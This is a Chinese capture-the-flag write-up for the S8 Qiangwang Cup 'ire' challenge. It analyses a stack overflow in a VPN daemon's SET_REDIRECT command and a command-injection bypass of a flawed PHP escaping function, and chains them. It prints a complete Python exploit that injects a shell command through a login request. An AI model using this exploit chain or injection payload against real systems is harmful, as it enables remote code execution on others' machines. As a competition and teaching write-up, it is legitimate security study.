S8强网杯 RealWorld部分 IRE详解
字数 1257 2025-08-22 18:37:15

S8强网杯 RealWorld部分 IRE题目分析与漏洞利用详解

1. 题目概述

1.1 题目信息

  • 题目名称: ire
  • 旗帜名称: IRE
  • 环境: Ubuntu 64-bit 22.04.5 LTS虚拟机
  • 用户凭证: game/game
  • 目标: 通过漏洞利用实现任意命令执行,使靶机弹出计算器

1.2 题目环境

  • 题目文件位于/home/game目录
  • 启动脚本: start.sh
  • 服务通过systemd管理,服务文件/etc/systemd/system/myservice.service
  • 关键程序: sbgwdlibstrongswan.so.0

2. 环境分析

2.1 服务配置

服务通过systemd启动,配置文件如下:

[Unit]
Description=My Custom Script Service
After=network.target

[Service]
ExecStart=/home/game/start.sh
Restart=on-failure
User=root
Group=root

[Install]
WantedBy=multi-user.target

2.2 网络服务分析

通过ss -tuln命令发现关键服务监听端口:

  • TCP 45443: 主服务端口
  • TCP 80: Web服务端口

3. 二进制逆向分析

3.1 主程序功能

sbgwd是一个VPN服务程序,主要功能包括:

  • 认证(LOGIN)
  • 注销(LOGOUT)
  • 策略管理(POLICY)
  • 会话管理(SESSION)
  • 重定向设置(SET_REDIRECT)
  • VPN认证(VPN_AUTH)
  • 版本获取(GET_VERSION)

3.2 数据包结构

逆向分析得出的数据包格式:

b'SlSp' + p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)

3.3 漏洞点

SET_REDIRECT功能中发现栈溢出漏洞:

v5 = strchr(v4, ':');
v6 = v5;
if (v5) {
    if (v5 != v4)
        memcpy(host, v4, v5 - v4); // 栈溢出
    syslog(7, "redirect host %s", (const char *)host);
    port = strtol(v6 + 1, 0LL, 10);
    // ...
}

4. Web服务漏洞分析

4.1 漏洞文件

发现存在漏洞的PHP文件:/var/www/html/ldapTest.php

4.2 命令注入漏洞

漏洞存在于自定义的escapeshellarg_jp函数中,该函数实现不完善:

function escapeshellarg_jp($p_arg) {
    // 实现不完整,存在绕过可能
    // ...
}

4.3 漏洞利用方法

通过构造特殊输入可以绕过过滤:

  • 输入';ls;#会被转换成\\';ls;#
  • 最终形成命令:xx '\\'; ls; #',从而执行任意命令

5. 漏洞利用链构建

5.1 利用步骤

  1. 通过VPN服务的SET_REDIRECT功能将流量重定向到本地Web服务
  2. 利用Web服务中的命令注入漏洞执行任意命令
  3. 触发计算器弹出完成挑战

5.2 关键点

  • 需要VPN证书和密钥进行认证
  • 日志中发现的证书路径:
    • 私钥: /etc/ssl/private/ssgw_ssl.key
    • 证书: /etc/ssl/certs/ssgw_cert.pem

6. 完整利用代码

import socket
import ssl
from pwn import *
import time
import json

def create_ssl_context(certfile, keyfile):
    context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.load_cert_chain(certfile=certfile, keyfile=keyfile)
    return context

def create_ssl_connection(hostname, port, context):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ssl_sock = context.wrap_socket(sock, server_hostname=hostname)
    ssl_sock.connect((hostname, port))
    return ssl_sock

hostname = '192.168.128.137'
port = 45443

data = '''username=admin'";gnome-calculator;"test1";"&password=123'''
content_length = len(data)
request = f"POST /login.php HTTP/1.1\r\n"
request += f"Host: {hostname}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += f"Content-Length: {content_length}\r\n"
request += "Connection: close\r\n"
request += "\r\n"
request += data

def main():
    certfile = './csr'
    keyfile = './key'
    ssl_context = create_ssl_context(certfile, keyfile)
    
    ssl_sock = create_ssl_connection(hostname, port, ssl_context)
    
    try:
        data = b''
        data += b'a' * 0x10
        data += b'127.0.0.1:80'
        
        pl = b'SlSP' + p32(len(data), endian='big') + p8(1) + p8(0) + b'b'*5 + p8(1) + b'b'*4 + p16(5, endian='big') + p16(0x1, endian='big')
        pl += data
        
        ssl_sock.sendall(pl)
        sleep(1)
        
        pl = request.encode()
        ssl_sock.sendall(pl)
        
        response = ssl_sock.recv(4096)
        response += ssl_sock.recv(4096)
        
    finally:
        ssl_sock.close()

if __name__ == '__main__':
    main()

7. 总结

  1. 服务分析:通过逆向工程分析sbgwd程序,发现其VPN功能和SET_REDIRECT命令的栈溢出漏洞
  2. Web漏洞:发现本地Web服务中的命令注入漏洞,通过自定义过滤函数的缺陷实现绕过
  3. 利用链构建:结合VPN重定向功能和Web命令注入,实现远程代码执行
  4. 实际利用:通过构造特殊数据包触发漏洞,最终实现计算器弹出

关键点在于理解程序的数据结构、发现过滤函数的缺陷以及构建完整的利用链。这种真实环境中的漏洞组合利用方式在CTF和实际渗透测试中都具有重要意义。

S8强网杯 RealWorld部分 IRE题目分析与漏洞利用详解 1. 题目概述 1.1 题目信息 题目名称 : ire 旗帜名称 : IRE 环境 : Ubuntu 64-bit 22.04.5 LTS虚拟机 用户凭证 : game/game 目标 : 通过漏洞利用实现任意命令执行,使靶机弹出计算器 1.2 题目环境 题目文件位于 /home/game 目录 启动脚本: start.sh 服务通过systemd管理,服务文件 /etc/systemd/system/myservice.service 关键程序: sbgwd 和 libstrongswan.so.0 2. 环境分析 2.1 服务配置 服务通过systemd启动,配置文件如下: 2.2 网络服务分析 通过 ss -tuln 命令发现关键服务监听端口: TCP 45443: 主服务端口 TCP 80: Web服务端口 3. 二进制逆向分析 3.1 主程序功能 sbgwd 是一个VPN服务程序,主要功能包括: 认证(LOGIN) 注销(LOGOUT) 策略管理(POLICY) 会话管理(SESSION) 重定向设置(SET_ REDIRECT) VPN认证(VPN_ AUTH) 版本获取(GET_ VERSION) 3.2 数据包结构 逆向分析得出的数据包格式: 3.3 漏洞点 在 SET_REDIRECT 功能中发现栈溢出漏洞: 4. Web服务漏洞分析 4.1 漏洞文件 发现存在漏洞的PHP文件: /var/www/html/ldapTest.php 4.2 命令注入漏洞 漏洞存在于自定义的 escapeshellarg_jp 函数中,该函数实现不完善: 4.3 漏洞利用方法 通过构造特殊输入可以绕过过滤: 输入 ';ls;# 会被转换成 \\';ls;# 最终形成命令: xx '\\'; ls; #' ,从而执行任意命令 5. 漏洞利用链构建 5.1 利用步骤 通过VPN服务的 SET_REDIRECT 功能将流量重定向到本地Web服务 利用Web服务中的命令注入漏洞执行任意命令 触发计算器弹出完成挑战 5.2 关键点 需要VPN证书和密钥进行认证 日志中发现的证书路径: 私钥: /etc/ssl/private/ssgw_ssl.key 证书: /etc/ssl/certs/ssgw_cert.pem 6. 完整利用代码 7. 总结 服务分析 :通过逆向工程分析 sbgwd 程序,发现其VPN功能和SET_ REDIRECT命令的栈溢出漏洞 Web漏洞 :发现本地Web服务中的命令注入漏洞,通过自定义过滤函数的缺陷实现绕过 利用链构建 :结合VPN重定向功能和Web命令注入,实现远程代码执行 实际利用 :通过构造特殊数据包触发漏洞,最终实现计算器弹出 关键点在于理解程序的数据结构、发现过滤函数的缺陷以及构建完整的利用链。这种真实环境中的漏洞组合利用方式在CTF和实际渗透测试中都具有重要意义。